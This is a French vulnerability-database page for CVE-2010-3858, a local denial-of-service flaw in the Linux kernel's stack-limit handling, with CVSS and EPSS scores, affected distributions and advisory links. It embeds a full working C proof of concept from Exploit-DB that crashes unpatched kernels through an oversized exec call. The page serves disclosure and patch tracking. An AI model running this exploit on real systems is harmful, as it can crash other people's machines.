CVE-2010-3858 : Détail

CVE-2010-3858

0.05%V3
Local
2010-11-30
20h19 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The setup_arg_pages function in fs/exec.c in the Linux kernel before 2.6.36, when CONFIG_STACK_GROWSDOWN is used, does not properly restrict the stack memory consumption of the (1) arguments and (2) environment for a 32-bit application on a 64-bit platform, which allows local users to cause a denial of service (system crash) via a crafted exec system call, a related issue to CVE-2010-2240.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 15619

Date de publication : 2010-11-25 23h00 +00:00
Auteur : Roland McGrath
EDB Vérifié : No

// source: https://www.securityfocus.com/bid/44301/info /* known for over a year, fixed in grsec bug is due to a bad limit on the max size of the stack for 32bit apps on a 64bit OS. Instead of them being limited to 1/4th of a 32bit address space, they're limited to 1/4th of a 64bit address space -- oops! in combination with vanilla ASLR, it triggers a BUG() as the stack tries to expand around the address space when shifted Below mmap_min_addr you say? uh oh! ;) Reported to Ted Tso in December 2009 Linus today (Aug 13 2010) silently fixes tangential issue: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893 The second bug here is that the memory usage explodes within the kernel from a single 128k allocation in userland The explosion of memory isn't accounted for by any task so it won't be terminated by the OOM killer curious what actual vuln was involved that they were trying to silently fix, as I don't think it's the one below clobbering data in a suid app by growing the stack into the mapping for the image? ;) I smell privesc...mumblings of X server/recursion ulimit -s unlimited ./64bit_dos SELinux is here to save us though with its fine-grained controls! Wait, it doesn't? Clearly the solution is to throw a buggy KVM on top of it Not enough? Ok, we'll throw in an extra SELinux, that'll really throw those hackers off when they use the same exact exploit on the host as they do on the guest! COMMON CRITERIA HERE I COME! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/personality.h> #define NUM_ARGS 24550 int main(void) { char **args; char *str; int i; /* not needed, just makes it easier for machines with less RAM */ personality(PER_LINUX32_3GB); str = malloc(128 * 1024); memset(str, 'A', 128 * 1024 - 1); str[128 * 1024 - 1] = '\0'; args = malloc(NUM_ARGS * sizeof(char *)); for (i = 0; i < (NUM_ARGS - 1); i++) args[i] = str; args[i] = NULL; execv("/bin/sh", args); printf("execve failed\n"); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

Références

http://secunia.com/advisories/42789
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0024
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2011-0004.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/46397
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1041-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2010/10/21/1
Tags : mailing-list, x_refsource_MLIST
http://www.redhat.com/support/errata/RHSA-2010-0958.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2010:257
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.exploit-db.com/exploits/15619
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/42758
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/10/22/4
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/44301
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2011/0070
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2010/dsa-2126
Tags : vendor-advisory, x_refsource_DEBIAN